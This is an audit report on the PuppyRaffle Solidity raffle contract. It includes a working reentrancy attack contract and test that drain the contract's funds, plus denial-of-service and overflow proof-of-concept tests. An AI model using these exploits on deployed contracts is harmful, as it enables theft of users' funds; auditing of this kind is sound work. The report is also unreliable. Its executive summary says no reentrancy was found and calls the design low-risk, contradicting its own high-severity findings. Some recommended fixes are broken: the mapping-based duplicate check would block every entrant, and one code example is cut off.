0xJaiveer

PuppyRaffle Audit Report

Version 1.0

0xJaiveer

November 9, 2025

PuppyRaffle Audit Report

Jaiveer Singh

November 9, 2025

Prepared by: 0xJaiveer Lead Auditors: - Jaiveer Singh

Table of Contents

    * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants
    * [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
    * [M-3] Raffle winning smart contract wallets without a `receive` or payable `fallback` function will block the start of a new raffle.
    * [M-4] `PuppyRaffle::withdrawFees` enables griefers to `selfdestruct` a contract to send ETH to the raffle, blocking withdrawals
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant and for players at index 0, causing a player at index 0 to incorrectly think that they have not entered the raffle.
  - Gas
    * [G-1] Unchanged state variables should be declared constant or immutable
    * [G-2] Public functions not used internally should be marked as external
    * [G-3] Storage variables in a loop should be cached
  - Informational
    * [I-1] Solidity pragma should be specific, not wide
    * [I-2] Using an outdated version of solidity is not recommended.
    * [I-3] Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` should follow CEI
    * [I-5] Use of magic numbers such as in `PuppyRaffle::selectWinner` is discouraged
    * [I-6] `_isActivePlayer` is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the enterRaffle function with the following parameters:
    1. address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & value if they call the refund function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy

5. The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The 0xJaiveer team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 0804be9b0fd17db9e2953e27e9de46585be870cf ## Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

- Owner`` - Deployer of the protocol, has the power to change the wallet address to which fees are sent through thechangeFeeAddress‘ function.

- `Player` - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

The PuppyRaffle smart contract was reviewed to evaluate its security, functionality, and adherence to Solidity best practices. The contract implements a raffle system that allows users to enter with ETH, claim refunds, and draw a winner to receive a Puppy NFT. The audit focused on identifying vulnerabilities that could lead to loss of funds, unfair outcomes, or unintended behaviors.

Overall, the codebase is simple and well-structured, with clear role definitions for the owner and participants. The contract follows standard design patterns and does not include unnecessary complexity. However, a few issues of varying severity were identified, mainly related to logic checks, access control, and minor gas inefficiencies.

Key observations: - Core functionality works as intended and is easy to follow.
- No critical exploits such as reentrancy or unchecked external calls were found.
- Randomness and fairness mechanisms may benefit from additional verification or secure randomness sources.
- Some input validation and refund handling logic could be tightened.
- Minor improvements were suggested to enhance gas efficiency and code readability.

In summary, PuppyRaffle demonstrates a generally low-risk design once the reported issues are addressed. The project shows good development practices and is expected to be secure for deployment after fixes and revalidation.

Issues found

Severity	Number of issues found
High	3
Medium	4
Low	1
Info	6
Gas	3
Total	17

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` does not follow CEI (Checcks, Effects, Interactions) and as a result allows participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that exterbal call do we update the `PuppyRaffle::players` array.

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  @>      payable(msg.sender).sendValue(entranceFee);
7  @>      players[playerIndex] = address(0);
8
9          emit RaffleRefunded(playerAddress);
10     }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` again and again and claim another refund. They could continue this cycle till the contract balance is drained.

Impact: All fees paid by the raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls the `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof Of Code

Code

Paste the following into `PuppyRaffleTest.t.sol`

```
1  function test_reentrancyRefund() public  {
```

```
        AttackerRefund attackerRefund = new AttackerRefund(address(puppyRaffle));
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
        console.log("attacker balance before attack: ",address(attackerRefund).balance);
        console.log("puppy raffle balance after attack: ",address(puppyRaffle).balance);

        attackerRefund.reenterRefund{value: entranceFee}();

        console.log("attacker balance after attack: ",address(attackerRefund).balance);
        console.log("puppy raffle balance after attack: ",address(puppyRaffle).balance);
        assertGt(address(attackerRefund).balance, entranceFee);

    }
```

And this contract as well.

```
contract AttackerRefund {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    constructor(address _puppyRaffle){
        puppyRaffle = PuppyRaffle(_puppyRaffle);
        entranceFee = puppyRaffle.entranceFee();
    }

    function reenterRefund()external payable{
        address[] memory players = new address[](1);
        players[0]=address(this);
        puppyRaffle.enterRaffle{value:entranceFee}(players);
        puppyRaffle.refund(puppyRaffle.getActivePlayerIndex(address(this)));
    }

    receive() external payable{
        if(address(puppyRaffle).balance >= entranceFee){
            puppyRaffle.refund(puppyRaffle.getActivePlayerIndex(address(this)));
        }
    }
    fallback() external payable{
        if(address(puppyRaffle).balance >= entranceFee){
            puppyRaffle.refund(puppyRaffle.getActivePlayerIndex(address(this)));
```

```
24          }
25      }
26  }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5  +       players[playerIndex] = address(0);
6  +       emit RaffleRefunded(playerAddress);
7          payable(msg.sender).sendValue(entranceFee);
8  -       players[playerIndex] = address(0);
9  -       emit RaffleRefunded(playerAddress);
10     }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `PuppyRaffle::refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validtors can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predcit when/how to participate.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `PuppyRaffle::selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain calues as a randomness seed is a [well-documented attack vector] in the blockchain space.

Mitigation: Consider using a cryptographically provable random number generator such as the Chain-link VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to 0.8.0 integers were subject to integers overflow.

```
1
2 uint64 myvar = type(uint64).max;
3 // 18446744073709551615
4 myvar = myvar + 1;
5 // myvar will be -
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` is accumulated for the `feeAddress` to be withdrawed later using `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not be able to collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players. 2. We then have 89 players enter a new raffle. and conclude the raffle. 3. `totalFees` will be

```
1 totalFees = totalFees + uint64(fee);
2 //aka
3 totalFees = 800000000000000000 + 17800000000000000000
4 // and this will overflow
5 totalFees = 153255926290448384
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
     There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design ofthe protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
1     function test_SelectWinnerTotalFeesOverflow() public playersEntered
          {
2         vm.warp(block.timestamp + duration + 1);
3         vm.roll(block.number + 1);
4         puppyRaffle.selectWinner();
```

```
        uint256 startingFees = puppyRaffle.totalFees();

        address[] memory players = new address[](89);
         for (uint256 i = 0; i < 89; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: 89 ether}(players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 endingFees = puppyRaffle.totalFees();
        console.log("ending fees: ",endingFees);
        console.log("starting fees: ",startingFees);
        assert(endingFees < startingFees);

        vm.expectRevert();
        puppyRaffle.withdrawFees();

    }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version `0.7.6` of solidity, however you would still have a hard time with `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

There are more attack vectors with that final `require`, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `Puppy::Raffle` array is, the more checks a new player will have to make. This means thre raffle costs for those who enter right when the raffle starts wil be drastically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
// @audit - DoS Attack
```

```
2  @>      for (uint256 i = 0; i < players.length - 1; i++) {
3              for (uint256 j = i + 1; j < players.length; j++) {
4                  require(players[i] != players[j], "PuppyRaffle:
                       Duplicate player");
5              }
6          }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of the raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves the win.

Proof Of Concept:

If we have 2 sets of 100 players, the gas costs will be as follows: - 1st 100 platers: ~6503275 gas - 2nd 100 platers: ~18995515 gas

This is 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
1      function test_DenialOfService() public{
2          // 1st
3          vm.txGasPrice(1);
4          uint256 playersNum =100;
5          address[] memory players = new address[](playersNum);
6          for(uint256 i=0;i<playersNum;i++){
7              players[i]=address(i);
8          }
9          uint256 gasStart = gasleft();
10         puppyRaffle.enterRaffle{value: entranceFee * players.length}(
               players);
11         uint256 gasEnd = gasleft();
12
13         uint256 gasUsedFirst = (gasStart- gasEnd) * tx.gasprice;
14         console.log("Gas cost of the first 100 players: ",gasUsedFirst)
               ;
15
16         // 2nd
17         address[] memory playersTwo = new address[](playersNum);
18         for(uint256 i=0;i<playersNum;i++){
19             playersTwo[i]=address(i + playersNum);
20         }
21         uint256 gasStart2 = gasleft();
22         puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length
               }(playersTwo);
23         uint256 gasEnd2 = gasleft();
```

```
24
25          uint256 gasUsedSecond = (gasStart2- gasEnd2) * tx.gasprice;
26          console.log("Gas cost of the first 100 players: ",gasUsedSecond
                );
27
28          assert(gasUsedFirst < gasUsedSecond);
29
30      }
```

Recommended Mitigation: There are a few recommendations:

1. Consider allowing duplicates. Users can anywaays make new wallet addresses, so a duplicate check does not prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. this would allow constant time lookup of whether a user has already entered.

```
1
2   +   mapping(address => uint256) public addressToRaffleId;
3   +   uint256 public raffleId = 0;
4       .
5       .
6       .
7       function enterRaffle(address[] memory newPlayers) public payable {
8           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
9           for (uint256 i = 0; i < newPlayers.length; i++) {
10              players.push(newPlayers[i]);
11  +           addressToRaffleId[newPlayers[i]] = raffleId;
12          }
13
14  -       // Check for duplicates
15  +       // Check for duplicates only from the new players
16  +       for(uint256 i =0;newPlayers.length;i++){
17  +           require(addressToRaffleId[newPlayers[i]] != raffleId)
18  +       }
19  -       for (uint256 i = 0; i < players.length - 1; i++) {
20  -           for (uint256 j = i + 1; j < players.length; j++) {
21  -               require(players[i] != players[j], "PuppyRaffle:
        Duplicate player");
22  -           }
23  -       }
24          emit RaffleEnter(newPlayers);
25      }
26      .
27      .
28      .
29          function selectWinner() external {
30  +       raffleId += 1;
```

```
31          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
```

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1      function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5          uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6          address winner = players[winnerIndex];
7          uint256 fee = totalFees / 10;
8          uint256 winnings = address(this).balance - fee;
9  @>      totalFees = totalFees + uint64(fee);
10         players = new address[](0);
11         emit RaffleWinner(winner, winnings);
12     }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1  -   uint64 public totalFees = 0;
2  +   uint256 public totalFees = 0;
3  .
4  .
5  .
6      function selectWinner() external {
7          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
8          require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
9          uint256 winnerIndex =
10             uint256(keccak256(abi.encodePacked(msg.sender, block.
                   timestamp, block.difficulty))) % players.length;
11         address winner = players[winnerIndex];
12         uint256 totalAmountCollected = players.length * entranceFee;
13         uint256 prizePool = (totalAmountCollected * 80) / 100;
14         uint256 fee = (totalAmountCollected * 20) / 100;
15 -       totalFees = totalFees + uint64(fee);
16 +       totalFees = totalFees + fee;
```

[M-3] Raffle winning smart contract wallets without a `receive` or payable `fallback` function will block the start of a new raffle.

Description: The `PuppyRaffle::selectWinner` is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payments the lottery would not be able to restart.

Users could call the `PuppyRaffle::selectWinner` function again and non wallet entrants could enter, but it could cost a lot due the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their winnings.

Proof of Concept:

1. 10 smartr contract wallets enter the raffle without a fallback or a receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few ways to mitigate this issue.

1. Do not allow wallet entrants(not recommended).

2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

> Pull over Push

[M-4] `PuppyRaffle::withdrawFees` enables griefers to `selfdestruct` a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks if the contract balance is equal to the `totalFees` before allowing withdrawal, since this contract doesn't have a `receive` or a `fallback` function you'd think this isn't possible, but a griefer could selfdestruct a contract with ETH in it and force money into the `PuppyRaffle` contract, breaking the check.

Impact: This would prevent the `feeAddress` from withdrawing fees.

Also, true winners would not get paid out and someone else could take their winnings.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1      function withdrawFees() external {
2  -       require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant and for players at index 0, causing a player at index 0 to incorrectly think that they have not entered the raffle.

Descripttion If a player is in the `PuppyRaffle::players` array at 0, this will return 0, but according to the natspec it will also return 0 if the player is not in the array.

```
function getActivePlayerIndex(address player) external view returns (uint256) {
     for (uint256 i = 0; i < players.length; i++) {
         if (players[i] == player) {
             return i;
         }
     }
     // q what if the player is at index 0?
     // @audit - if the player is at index 0, then it'll rerturn 0 and the refund func might think they are not active
     return 0;
 }
```

Impact: A player at index 0 may incorrectly think that they have not entered the raffle, and may attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. A user enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from a conatant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Public functions not used internally should be marked as external

Using public functions is more expensive than using external functions.

Instances: - `PuppyRaffle::enterRaffle` should be `external` - `PuppyRaffle::refund` should be `external` - `PuppyRaffle::tokenURI` should be `external`

[G-3] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage as opposed to memory which is more gas efiicient.

```
+    uint256 playerLength = players.length;
-    for (uint256 i = 0; i < players.length - 1; i++) {
+    for(uint256 i = 0; i < playerLength - 1; i++)
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playerLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol

[I-2] Using an outdated version of solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentaion for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 67

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 193

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` should follow CEI

It's best to keep the code clean and floow CEI(Checks, Effects, Interactions)

```
1 -         (bool success,) = winner.call{value: prizePool}("");
2 -         require(success, "PuppyRaffle: Failed to send prize pool to
      winner");
3           _safeMint(winner, tokenId);
4 +         (bool success,) = winner.call{value: prizePool}("");
5 +         require(success, "PuppyRaffle: Failed to send prize pool to
      winner");
```

[I-5] Use of magic numbers such as in `PuppyRaffle::selectWinner` is discouraged

It can be confusing to see number literals in a codebase and it is much more readable if the numbers are given a name.

```
1           uint256 prizePool = (totalAmountCollected * 80) / 100;
2           uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use:

```
1 uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2 uint256 public constant FEE_PERCENTAGE = 20;
3 uint256 public constant POOL_PRECISION = 100;
```

[I-6] `_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
1 -     function _isActivePlayer() internal view returns (bool) {
2 -         for (uint256 i = 0; i < players.length; i++) {
3 -             if (players[i] == msg.sender) {
4 -                 return true;
5 -             }
```

```
6 -         }
7 -         return false;
8 -     }
```